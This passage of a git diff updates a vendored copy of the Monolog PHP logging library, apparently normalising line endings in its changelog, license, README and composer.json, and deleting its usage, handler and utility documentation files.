Fixed WebProcessor array access so it checks for data presence + * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors + +### 1.4.0 (2013-02-13) + + * Added RedisHandler to log to Redis via the Predis library or the phpredis extension + * Added ZendMonitorHandler to log to the Zend Server monitor + * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor + * Added `$useSSL` option to the PushoverHandler which is enabled by default + * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously + * Fixed header injection capability in the NativeMailHandler + +### 1.3.1 (2013-01-11) + + * Fixed LogstashFormatter to be usable with stream handlers + * Fixed GelfMessageFormatter levels on Windows + +### 1.3.0 (2013-01-08) + + * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` + * Added PsrLogMessageProcessor that you can selectively enable for full PSR-3 compliance + * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) + * Added PushoverHandler to send mobile notifications + * Added CouchDBHandler and DoctrineCouchDBHandler + * Added RavenHandler to send data to Sentry servers + * Added support for the new MongoClient class in MongoDBHandler + * Added microsecond precision to log records' timestamps + * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing + the oldest entries + * Fixed normalization of objects with cyclic references + +### 1.2.1 (2012-08-29) + + * Added new $logopts arg to SyslogHandler to provide custom openlog options + * Fixed fatal error in SyslogHandler + +### 1.2.0 (2012-08-18) + + * Added AmqpHandler (for use with AMQP servers) + * Added CubeHandler + * Added NativeMailerHandler::addHeader() to send custom headers in mails + * Added the possibility to specify more than one recipient in NativeMailerHandler + * Added the possibility to specify float timeouts in SocketHandler + * Added NOTICE and EMERGENCY levels to conform with RFC 5424 + * Fixed the log records to use the php default timezone instead of UTC + * Fixed BufferHandler not being flushed properly on PHP fatal errors + * Fixed normalization of exotic resource types + * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog + +### 1.1.0 (2012-04-23) + + * Added Monolog\Logger::isHandling() to check if a handler will + handle the given log level + * Added ChromePHPHandler + * Added MongoDBHandler + * Added GelfHandler (for use with Graylog2 servers) + * Added SocketHandler (for use with syslog-ng for example) + * Added NormalizerFormatter + * Added the possibility to change the activation strategy of the FingersCrossedHandler + * Added possibility to show microseconds in logs + * Added `server` and `referer` to WebProcessor output + +### 1.0.2 (2011-10-24) + + * Fixed bug in IE with large response headers and FirePHPHandler + +### 1.0.1 (2011-08-25) + + * Added MemoryPeakUsageProcessor and MemoryUsageProcessor + * Added Monolog\Logger::getName() to get a logger's channel name + +### 1.0.0 (2011-07-06) + + * Added IntrospectionProcessor to get info from where the logger was called + * Fixed WebProcessor in CLI + +### 1.0.0-RC1 (2011-07-01) + + * Initial release diff --git a/vendor/monolog/monolog/LICENSE b/vendor/monolog/monolog/LICENSE index b5c6644a7c..16473219bf 100644 --- a/vendor/monolog/monolog/LICENSE +++ b/vendor/monolog/monolog/LICENSE @@ -1,19 +1,19 @@ -Copyright (c) 2011-2016 Jordi Boggiano - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Copyright (c) 2011-2016 Jordi Boggiano + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/monolog/monolog/README.md b/vendor/monolog/monolog/README.md index 1c1a79daef..a578eb2289 100644 --- a/vendor/monolog/monolog/README.md +++ b/vendor/monolog/monolog/README.md @@ -1,94 +1,94 @@ -# Monolog - Logging for PHP [![Build Status](https://img.shields.io/travis/Seldaek/monolog.svg)](https://travis-ci.org/Seldaek/monolog) - -[![Total Downloads](https://img.shields.io/packagist/dt/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) -[![Latest Stable Version](https://img.shields.io/packagist/v/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) - - -Monolog sends your logs to files, sockets, inboxes, databases and various -web services. See the complete list of handlers below. Special handlers -allow you to build advanced logging strategies. - -This library implements the [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) -interface that you can type-hint against in your own libraries to keep -a maximum of interoperability. You can also use it in your applications to -make sure you can always use another compatible logger at a later time. -As of 1.11.0 Monolog public APIs will also accept PSR-3 log levels. -Internally Monolog still uses its own level scheme since it predates PSR-3. - -## Installation - -Install the latest version with - -```bash -$ composer require monolog/monolog -``` - -## Basic Usage - -```php -pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING)); - -// add records to the log -$log->addWarning('Foo'); -$log->addError('Bar'); -``` - -## Documentation - -- [Usage Instructions](doc/01-usage.md) -- [Handlers, Formatters and Processors](doc/02-handlers-formatters-processors.md) -- [Utility classes](doc/03-utilities.md) -- [Extending Monolog](doc/04-extending.md) - -## Third Party Packages - -Third party handlers, formatters and processors are -[listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You -can also add your own there if you publish one. - -## About - -### Requirements - -- Monolog works with PHP 5.3 or above, and is also tested to work with HHVM. - -### Submitting bugs and feature requests - -Bugs and feature request are tracked on [GitHub](https://github.com/Seldaek/monolog/issues) - -### Framework Integrations - -- Frameworks and libraries using [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) - can be used very easily with Monolog since it implements the interface. -- [Symfony2](http://symfony.com) comes out of the box with Monolog. -- [Silex](http://silex.sensiolabs.org/) comes out of the box with Monolog. -- [Laravel 4 & 5](http://laravel.com/) come out of the box with Monolog. -- [Lumen](http://lumen.laravel.com/) comes out of the box with Monolog. -- [PPI](http://www.ppi.io/) comes out of the box with Monolog. -- [CakePHP](http://cakephp.org/) is usable with Monolog via the [cakephp-monolog](https://github.com/jadb/cakephp-monolog) plugin. -- [Slim](http://www.slimframework.com/) is usable with Monolog via the [Slim-Monolog](https://github.com/Flynsarmy/Slim-Monolog) log writer. -- [XOOPS 2.6](http://xoops.org/) comes out of the box with Monolog. -- [Aura.Web_Project](https://github.com/auraphp/Aura.Web_Project) comes out of the box with Monolog. -- [Nette Framework](http://nette.org/en/) can be used with Monolog via [Kdyby/Monolog](https://github.com/Kdyby/Monolog) extension. -- [Proton Micro Framework](https://github.com/alexbilbie/Proton) comes out of the box with Monolog. - -### Author - -Jordi Boggiano - -
                              -See also the list of [contributors](https://github.com/Seldaek/monolog/contributors) which participated in this project. - -### License - -Monolog is licensed under the MIT License - see the `LICENSE` file for details - -### Acknowledgements - -This library is heavily inspired by Python's [Logbook](https://logbook.readthedocs.io/en/stable/) -library, although most concepts have been adjusted to fit to the PHP world. +# Monolog - Logging for PHP [![Build Status](https://img.shields.io/travis/Seldaek/monolog.svg)](https://travis-ci.org/Seldaek/monolog) + +[![Total Downloads](https://img.shields.io/packagist/dt/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) +[![Latest Stable Version](https://img.shields.io/packagist/v/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) + + +Monolog sends your logs to files, sockets, inboxes, databases and various +web services. See the complete list of handlers below. Special handlers +allow you to build advanced logging strategies. + +This library implements the [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) +interface that you can type-hint against in your own libraries to keep +a maximum of interoperability. You can also use it in your applications to +make sure you can always use another compatible logger at a later time. +As of 1.11.0 Monolog public APIs will also accept PSR-3 log levels. +Internally Monolog still uses its own level scheme since it predates PSR-3. + +## Installation + +Install the latest version with + +```bash +$ composer require monolog/monolog +``` + +## Basic Usage + +```php +pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING)); + +// add records to the log +$log->addWarning('Foo'); +$log->addError('Bar'); +``` + +## Documentation + +- [Usage Instructions](doc/01-usage.md) +- [Handlers, Formatters and Processors](doc/02-handlers-formatters-processors.md) +- [Utility classes](doc/03-utilities.md) +- [Extending Monolog](doc/04-extending.md) + +## Third Party Packages + +Third party handlers, formatters and processors are +[listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You +can also add your own there if you publish one. + +## About + +### Requirements + +- Monolog works with PHP 5.3 or above, and is also tested to work with HHVM. + +### Submitting bugs and feature requests + +Bugs and feature request are tracked on [GitHub](https://github.com/Seldaek/monolog/issues) + +### Framework Integrations + +- Frameworks and libraries using [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) + can be used very easily with Monolog since it implements the interface. +- [Symfony2](http://symfony.com) comes out of the box with Monolog. +- [Silex](http://silex.sensiolabs.org/) comes out of the box with Monolog. +- [Laravel 4 & 5](http://laravel.com/) come out of the box with Monolog. +- [Lumen](http://lumen.laravel.com/) comes out of the box with Monolog. +- [PPI](http://www.ppi.io/) comes out of the box with Monolog. +- [CakePHP](http://cakephp.org/) is usable with Monolog via the [cakephp-monolog](https://github.com/jadb/cakephp-monolog) plugin. +- [Slim](http://www.slimframework.com/) is usable with Monolog via the [Slim-Monolog](https://github.com/Flynsarmy/Slim-Monolog) log writer. +- [XOOPS 2.6](http://xoops.org/) comes out of the box with Monolog. +- [Aura.Web_Project](https://github.com/auraphp/Aura.Web_Project) comes out of the box with Monolog. +- [Nette Framework](http://nette.org/en/) can be used with Monolog via [Kdyby/Monolog](https://github.com/Kdyby/Monolog) extension. +- [Proton Micro Framework](https://github.com/alexbilbie/Proton) comes out of the box with Monolog. + +### Author + +Jordi Boggiano - -
                              +See also the list of [contributors](https://github.com/Seldaek/monolog/contributors) which participated in this project. + +### License + +Monolog is licensed under the MIT License - see the `LICENSE` file for details + +### Acknowledgements + +This library is heavily inspired by Python's [Logbook](https://logbook.readthedocs.io/en/stable/) +library, although most concepts have been adjusted to fit to the PHP world. diff --git a/vendor/monolog/monolog/composer.json b/vendor/monolog/monolog/composer.json index bb46004693..d2deab7b8e 100644 --- a/vendor/monolog/monolog/composer.json +++ b/vendor/monolog/monolog/composer.json @@ -1,58 +1,58 @@ -{ - "name": "monolog/monolog", - "description": "Sends your logs to files, sockets, inboxes, databases and various web services", - "keywords": ["log", "logging", "psr-3"], - "homepage": "http://github.com/Seldaek/monolog", - "type": "library", - "license": "MIT", - "authors": [ - { - "name": "Jordi Boggiano", - "email": "j.boggiano@seld.be", - "homepage": "http://seld.be" - } - ], - "require": { - "php": ">=5.3.0", - "psr/log": "~1.0" - }, - "require-dev": { - "phpunit/phpunit": "~4.5", - "graylog2/gelf-php": "~1.0", - "sentry/sentry": "^0.13", - "ruflin/elastica": ">=0.90 <3.0", - "doctrine/couchdb": "~1.0@dev", - "aws/aws-sdk-php": "^2.4.9 || ^3.0", - "php-amqplib/php-amqplib": "~2.4", - "swiftmailer/swiftmailer": "^5.3|^6.0", - "php-console/php-console": "^3.1.3", - "phpstan/phpstan": "^0.12.59" - }, - "suggest": { - "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", - "sentry/sentry": "Allow sending log messages to a Sentry server", - "doctrine/couchdb": "Allow sending log messages to a CouchDB server", - "ruflin/elastica": "Allow sending log messages to an Elastic Search server", - "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", - "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", - "ext-mongo": "Allow sending log messages to a MongoDB server", - "mongodb/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", - "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", - "rollbar/rollbar": "Allow sending log messages to Rollbar", - "php-console/php-console": "Allow sending log messages to Google Chrome" - }, - "autoload": { - "psr-4": {"Monolog\\": "src/Monolog"} - }, - "autoload-dev": { - "psr-4": {"Monolog\\": "tests/Monolog"} - }, - "provide": { - "psr/log-implementation": "1.0.0" - }, - "scripts": { - "test": "vendor/bin/phpunit", - "phpstan": "vendor/bin/phpstan analyse" - }, - "lock": false -} +{ + "name": "monolog/monolog", + "description": "Sends your logs to files, sockets, inboxes, databases and various web services", + "keywords": ["log", "logging", "psr-3"], + "homepage": "http://github.com/Seldaek/monolog", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "require": { + "php": ">=5.3.0", + "psr/log": "~1.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.5", + "graylog2/gelf-php": "~1.0", + "sentry/sentry": "^0.13", + "ruflin/elastica": ">=0.90 <3.0", + "doctrine/couchdb": "~1.0@dev", + "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "php-amqplib/php-amqplib": "~2.4", + "swiftmailer/swiftmailer": "^5.3|^6.0", + "php-console/php-console": "^3.1.3", + "phpstan/phpstan": "^0.12.59" + }, + "suggest": { + "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", + "sentry/sentry": "Allow sending log messages to a Sentry server", + "doctrine/couchdb": "Allow sending log messages to a CouchDB server", + "ruflin/elastica": "Allow sending log messages to an Elastic Search server", + "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", + "ext-mongo": "Allow sending log messages to a MongoDB server", + "mongodb/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", + "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", + "rollbar/rollbar": "Allow sending log messages to Rollbar", + "php-console/php-console": "Allow sending log messages to Google Chrome" + }, + "autoload": { + "psr-4": {"Monolog\\": "src/Monolog"} + }, + "autoload-dev": { + "psr-4": {"Monolog\\": "tests/Monolog"} + }, + "provide": { + "psr/log-implementation": "1.0.0" + }, + "scripts": { + "test": "vendor/bin/phpunit", + "phpstan": "vendor/bin/phpstan analyse" + }, + "lock": false +} diff --git a/vendor/monolog/monolog/doc/01-usage.md b/vendor/monolog/monolog/doc/01-usage.md deleted file mode 100644 index b2c577cb04..0000000000 --- a/vendor/monolog/monolog/doc/01-usage.md +++ /dev/null @@ -1,231 +0,0 @@ -# Using Monolog - -- [Installation](#installation) -- [Core Concepts](#core-concepts) -- [Log Levels](#log-levels) -- [Configuring a logger](#configuring-a-logger) -- [Adding extra data in the records](#adding-extra-data-in-the-records) -- [Leveraging channels](#leveraging-channels) -- [Customizing the log format](#customizing-the-log-format) - -## Installation - -Monolog is available on Packagist ([monolog/monolog](http://packagist.org/packages/monolog/monolog)) -and as such installable via [Composer](http://getcomposer.org/). - -```bash -composer require monolog/monolog -``` - -If you do not use Composer, you can grab the code from GitHub, and use any -PSR-0 compatible autoloader (e.g. the [Symfony2 ClassLoader component](https://github.com/symfony/ClassLoader)) -to load Monolog classes. - -## Core Concepts - -Every `Logger` instance has a channel (name) and a stack of handlers. Whenever -you add a record to the logger, it traverses the handler stack. Each handler -decides whether it fully handled the record, and if so, the propagation of the -record ends there. - -This allows for flexible logging setups, for example having a `StreamHandler` at -the bottom of the stack that will log anything to disk, and on top of that add -a `MailHandler` that will send emails only when an error message is logged. -Handlers also have a `$bubble` property which defines whether they block the -record or not if they handled it. In this example, setting the `MailHandler`'s -`$bubble` argument to false means that records handled by the `MailHandler` will -not propagate to the `StreamHandler` anymore. - -You can create many `Logger`s, each defining a channel (e.g.: db, request, -router, ..) and each of them combining various handlers, which can be shared -or not. The channel is reflected in the logs and allows you to easily see or -filter records. - -Each Handler also has a Formatter, a default one with settings that make sense -will be created if you don't set one. The formatters normalize and format -incoming records so that they can be used by the handlers to output useful -information. - -Custom severity levels are not available. Only the eight -[RFC 5424](http://tools.ietf.org/html/rfc5424) levels (debug, info, notice, -warning, error, critical, alert, emergency) are present for basic filtering -purposes, but for sorting and other use cases that would require -flexibility, you should add Processors to the Logger that can add extra -information (tags, user ip, ..) to the records before they are handled. - -## Log Levels - -Monolog supports the logging levels described by [RFC 5424](http://tools.ietf.org/html/rfc5424). - -- **DEBUG** (100): Detailed debug information. - -- **INFO** (200): Interesting events. Examples: User logs in, SQL logs. - -- **NOTICE** (250): Normal but significant events. - -- **WARNING** (300): Exceptional occurrences that are not errors. Examples: - Use of deprecated APIs, poor use of an API, undesirable things that are not - necessarily wrong. - -- **ERROR** (400): Runtime errors that do not require immediate action but - should typically be logged and monitored. - -- **CRITICAL** (500): Critical conditions. Example: Application component - unavailable, unexpected exception. - -- **ALERT** (550): Action must be taken immediately. Example: Entire website - down, database unavailable, etc. This should trigger the SMS alerts and wake - you up. - -- **EMERGENCY** (600): Emergency: system is unusable. - -## Configuring a logger - -Here is a basic setup to log to a file and to firephp on the DEBUG level: - -```php -pushHandler(new StreamHandler(__DIR__.'/my_app.log', Logger::DEBUG)); -$logger->pushHandler(new FirePHPHandler()); - -// You can now use your logger -$logger->addInfo('My logger is now ready'); -``` - -Let's explain it. The first step is to create the logger instance which will -be used in your code. The argument is a channel name, which is useful when -you use several loggers (see below for more details about it). - -The logger itself does not know how to handle a record. It delegates it to -some handlers. The code above registers two handlers in the stack to allow -handling records in two different ways. - -Note that the FirePHPHandler is called first as it is added on top of the -stack. This allows you to temporarily add a logger with bubbling disabled if -you want to override other configured loggers. - -> If you use Monolog standalone and are looking for an easy way to -> configure many handlers, the [theorchard/monolog-cascade](https://github.com/theorchard/monolog-cascade) -> can help you build complex logging configs via PHP arrays, yaml or json configs. - -## Adding extra data in the records - -Monolog provides two different ways to add extra informations along the simple -textual message. - -### Using the logging context - -The first way is the context, allowing to pass an array of data along the -record: - -```php -addInfo('Adding a new user', array('username' => 'Seldaek')); -``` - -Simple handlers (like the StreamHandler for instance) will simply format -the array to a string but richer handlers can take advantage of the context -(FirePHP is able to display arrays in pretty way for instance). - -### Using processors - -The second way is to add extra data for all records by using a processor. -Processors can be any callable. They will get the record as parameter and -must return it after having eventually changed the `extra` part of it. Let's -write a processor adding some dummy data in the record: - -```php -pushProcessor(function ($record) { - $record['extra']['dummy'] = 'Hello world!'; - - return $record; -}); -``` - -Monolog provides some built-in processors that can be used in your project. -Look at the [dedicated chapter](https://github.com/Seldaek/monolog/blob/master/doc/02-handlers-formatters-processors.md#processors) for the list. - -> Tip: processors can also be registered on a specific handler instead of - the logger to apply only for this handler. - -## Leveraging channels - -Channels are a great way to identify to which part of the application a record -is related. This is useful in big applications (and is leveraged by -MonologBundle in Symfony2). - -Picture two loggers sharing a handler that writes to a single log file. -Channels would allow you to identify the logger that issued every record. -You can easily grep through the log files filtering this or that channel. - -```php -pushHandler($stream); -$logger->pushHandler($firephp); - -// Create a logger for the security-related stuff with a different channel -$securityLogger = new Logger('security'); -$securityLogger->pushHandler($stream); -$securityLogger->pushHandler($firephp); - -// Or clone the first one to only change the channel -$securityLogger = $logger->withName('security'); -``` - -## Customizing the log format - -In Monolog it's easy to customize the format of the logs written into files, -sockets, mails, databases and other handlers. Most of the handlers use the - -```php -$record['formatted'] -``` - -value to be automatically put into the log device. This value depends on the -formatter settings. You can choose between predefined formatter classes or -write your own (e.g. a multiline text file for human-readable output). - -To configure a predefined formatter class, just set it as the handler's field: - -```php -// the default date format is "Y-m-d H:i:s" -$dateFormat = "Y n j, g:i a"; -// the default output format is "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n" -$output = "%datetime% > %level_name% > %message% %context% %extra%\n"; -// finally, create a formatter -$formatter = new LineFormatter($output, $dateFormat); - -// Create a handler -$stream = new StreamHandler(__DIR__.'/my_app.log', Logger::DEBUG); -$stream->setFormatter($formatter); -// bind it to a logger object -$securityLogger = new Logger('security'); -$securityLogger->pushHandler($stream); -``` - -You may also reuse the same formatter between multiple handlers and share those -handlers between multiple loggers. - -[Handlers, Formatters and Processors](02-handlers-formatters-processors.md) → diff --git a/vendor/monolog/monolog/doc/02-handlers-formatters-processors.md b/vendor/monolog/monolog/doc/02-handlers-formatters-processors.md deleted file mode 100644 index a4c653e559..0000000000 --- a/vendor/monolog/monolog/doc/02-handlers-formatters-processors.md +++ /dev/null @@ -1,158 +0,0 @@ -# Handlers, Formatters and Processors - -- [Handlers](#handlers) - - [Log to files and syslog](#log-to-files-and-syslog) - - [Send alerts and emails](#send-alerts-and-emails) - - [Log specific servers and networked logging](#log-specific-servers-and-networked-logging) - - [Logging in development](#logging-in-development) - - [Log to databases](#log-to-databases) - - [Wrappers / Special Handlers](#wrappers--special-handlers) -- [Formatters](#formatters) -- [Processors](#processors) -- [Third Party Packages](#third-party-packages) - -## Handlers - -### Log to files and syslog - -- _StreamHandler_: Logs records into any PHP stream, use this for log files. -- _RotatingFileHandler_: Logs records to a file and creates one logfile per day. - It will also delete files older than `$maxFiles`. You should use - [logrotate](http://linuxcommand.org/man_pages/logrotate8.html) for high profile - setups though, this is just meant as a quick and dirty solution. -- _SyslogHandler_: Logs records to the syslog. -- _ErrorLogHandler_: Logs records to PHP's - [`error_log()`](http://docs.php.net/manual/en/function.error-log.php) function. - -### Send alerts and emails - -- _NativeMailerHandler_: Sends emails using PHP's - [`mail()`](http://php.net/manual/en/function.mail.php) function. -- _SwiftMailerHandler_: Sends emails using a [`Swift_Mailer`](http://swiftmailer.org/) instance. -- _PushoverHandler_: Sends mobile notifications via the [Pushover](https://www.pushover.net/) API. -- _FlowdockHandler_: Logs records to a [Flowdock](https://www.flowdock.com/) account. -- _SlackHandler_: Logs records to a [Slack](https://www.slack.com/) account using the Slack API. -- _SlackbotHandler_: Logs records to a [Slack](https://www.slack.com/) account using the Slackbot incoming hook. -- _SlackWebhookHandler_: Logs records to a [Slack](https://www.slack.com/) account using Slack Webhooks. -- _MandrillHandler_: Sends emails via the Mandrill API using a [`Swift_Message`](http://swiftmailer.org/) instance. -- _FleepHookHandler_: Logs records to a [Fleep](https://fleep.io/) conversation using Webhooks. -- _IFTTTHandler_: Notifies an [IFTTT](https://ifttt.com/maker) trigger with the log channel, level name and message. -- _HipChatHandler_: Logs records to a [HipChat](http://hipchat.com) chat room using its API. **Deprecated**: Use Slack handlers instead, see [Atlassian's announcement](https://www.atlassian.com/partnerships/slack) - -### Log specific servers and networked logging - -- _SocketHandler_: Logs records to [sockets](http://php.net/fsockopen), use this - for UNIX and TCP sockets. See an [example](sockets.md). -- _AmqpHandler_: Logs records to an [amqp](http://www.amqp.org/) compatible - server. Requires the [php-amqp](http://pecl.php.net/package/amqp) extension (1.0+). -- _GelfHandler_: Logs records to a [Graylog2](http://www.graylog2.org) server. -- _CubeHandler_: Logs records to a [Cube](http://square.github.com/cube/) server. -- _RavenHandler_: Logs records to a [Sentry](http://getsentry.com/) server using - [raven](https://packagist.org/packages/raven/raven). -- _ZendMonitorHandler_: Logs records to the Zend Monitor present in Zend Server. -- _NewRelicHandler_: Logs records to a [NewRelic](http://newrelic.com/) application. -- _LogglyHandler_: Logs records to a [Loggly](http://www.loggly.com/) account. -- _RollbarHandler_: Logs records to a [Rollbar](https://rollbar.com/) account. -- _SyslogUdpHandler_: Logs records to a remote [Syslogd](http://www.rsyslog.com/) server. -- _LogEntriesHandler_: Logs records to a [LogEntries](http://logentries.com/) account. -- _InsightOpsHandler_: Logs records to a [InsightOps](https://www.rapid7.com/products/insightops/) account. - -### Logging in development - -- _FirePHPHandler_: Handler for [FirePHP](http://www.firephp.org/), providing - inline `console` messages within [FireBug](http://getfirebug.com/). -- _ChromePHPHandler_: Handler for [ChromePHP](http://www.chromephp.com/), providing - inline `console` messages within Chrome. -- _BrowserConsoleHandler_: Handler to send logs to browser's Javascript `console` with - no browser extension required. Most browsers supporting `console` API are supported. -- _PHPConsoleHandler_: Handler for [PHP Console](https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef), providing - inline `console` and notification popup messages within Chrome. - -### Log to databases - -- _RedisHandler_: Logs records to a [redis](http://redis.io) server. -- _MongoDBHandler_: Handler to write records in MongoDB via a - [Mongo](http://pecl.php.net/package/mongo) extension connection. -- _CouchDBHandler_: Logs records to a CouchDB server. -- _DoctrineCouchDBHandler_: Logs records to a CouchDB server via the Doctrine CouchDB ODM. -- _ElasticSearchHandler_: Logs records to an Elastic Search server. -- _DynamoDbHandler_: Logs records to a DynamoDB table with the [AWS SDK](https://github.com/aws/aws-sdk-php). - -### Wrappers / Special Handlers - -- _FingersCrossedHandler_: A very interesting wrapper. It takes a logger as - parameter and will accumulate log records of all levels until a record - exceeds the defined severity level. At which point it delivers all records, - including those of lower severity, to the handler it wraps. This means that - until an error actually happens you will not see anything in your logs, but - when it happens you will have the full information, including debug and info - records. This provides you with all the information you need, but only when - you need it. -- _DeduplicationHandler_: Useful if you are sending notifications or emails - when critical errors occur. It takes a logger as parameter and will - accumulate log records of all levels until the end of the request (or - `flush()` is called). At that point it delivers all records to the handler - it wraps, but only if the records are unique over a given time period - (60seconds by default). If the records are duplicates they are simply - discarded. The main use of this is in case of critical failure like if your - database is unreachable for example all your requests will fail and that - can result in a lot of notifications being sent. Adding this handler reduces - the amount of notifications to a manageable level. -- _WhatFailureGroupHandler_: This handler extends the _GroupHandler_ ignoring - exceptions raised by each child handler. This allows you to ignore issues - where a remote tcp connection may have died but you do not want your entire - application to crash and may wish to continue to log to other handlers. -- _BufferHandler_: This handler will buffer all the log records it receives - until `close()` is called at which point it will call `handleBatch()` on the - handler it wraps with all the log messages at once. This is very useful to - send an email with all records at once for example instead of having one mail - for every log record. -- _GroupHandler_: This handler groups other handlers. Every record received is - sent to all the handlers it is configured with. -- _FilterHandler_: This handler only lets records of the given levels through - to the wrapped handler. -- _SamplingHandler_: Wraps around another handler and lets you sample records - if you only want to store some of them. -- _NullHandler_: Any record it can handle will be thrown away. This can be used - to put on top of an existing handler stack to disable it temporarily. -- _PsrHandler_: Can be used to forward log records to an existing PSR-3 logger -- _TestHandler_: Used for testing, it records everything that is sent to it and - has accessors to read out the information. -- _HandlerWrapper_: A simple handler wrapper you can inherit from to create - your own wrappers easily. - -## Formatters - -- _LineFormatter_: Formats a log record into a one-line string. -- _HtmlFormatter_: Used to format log records into a human readable html table, mainly suitable for emails. -- _NormalizerFormatter_: Normalizes objects/resources down to strings so a record can easily be serialized/encoded. -- _ScalarFormatter_: Used to format log records into an associative array of scalar values. -- _JsonFormatter_: Encodes a log record into json. -- _WildfireFormatter_: Used to format log records into the Wildfire/FirePHP protocol, only useful for the FirePHPHandler. -- _ChromePHPFormatter_: Used to format log records into the ChromePHP format, only useful for the ChromePHPHandler. -- _GelfMessageFormatter_: Used to format log records into Gelf message instances, only useful for the GelfHandler. -- _LogstashFormatter_: Used to format log records into [logstash](http://logstash.net/) event json, useful for any handler listed under inputs [here](http://logstash.net/docs/latest). -- _ElasticaFormatter_: Used to format log records into an Elastica\Document object, only useful for the ElasticSearchHandler. -- _LogglyFormatter_: Used to format log records into Loggly messages, only useful for the LogglyHandler. -- _FlowdockFormatter_: Used to format log records into Flowdock messages, only useful for the FlowdockHandler. -- _MongoDBFormatter_: Converts \DateTime instances to \MongoDate and objects recursively to arrays, only useful with the MongoDBHandler. - -## Processors - -- _PsrLogMessageProcessor_: Processes a log record's message according to PSR-3 rules, replacing `{foo}` with the value from `$context['foo']`. -- _IntrospectionProcessor_: Adds the line/file/class/method from which the log call originated. -- _WebProcessor_: Adds the current request URI, request method and client IP to a log record. -- _MemoryUsageProcessor_: Adds the current memory usage to a log record. -- _MemoryPeakUsageProcessor_: Adds the peak memory usage to a log record. -- _ProcessIdProcessor_: Adds the process id to a log record. -- _UidProcessor_: Adds a unique identifier to a log record. -- _GitProcessor_: Adds the current git branch and commit to a log record. -- _TagProcessor_: Adds an array of predefined tags to a log record. - -## Third Party Packages - -Third party handlers, formatters and processors are -[listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You -can also add your own there if you publish one. - -← [Usage](01-usage.md) | [Utility classes](03-utilities.md) → diff --git a/vendor/monolog/monolog/doc/03-utilities.md b/vendor/monolog/monolog/doc/03-utilities.md deleted file mode 100644 index 4153aec694..0000000000 --- a/vendor/monolog/monolog/doc/03-utilities.md +++ /dev/null @@ -1,15 +0,0 @@ -# Utilities - -- _Registry_: The `Monolog\Registry` class lets you configure global loggers that you - can then statically access from anywhere. It is not really a best practice but can - help in some older codebases or for ease of use. -- _ErrorHandler_: The `Monolog\ErrorHandler` class allows you to easily register - a Logger instance as an exception handler, error handler or fatal error handler. -- _SignalHandler_: The `Monolog\SignalHandler` class allows you to easily register - a Logger 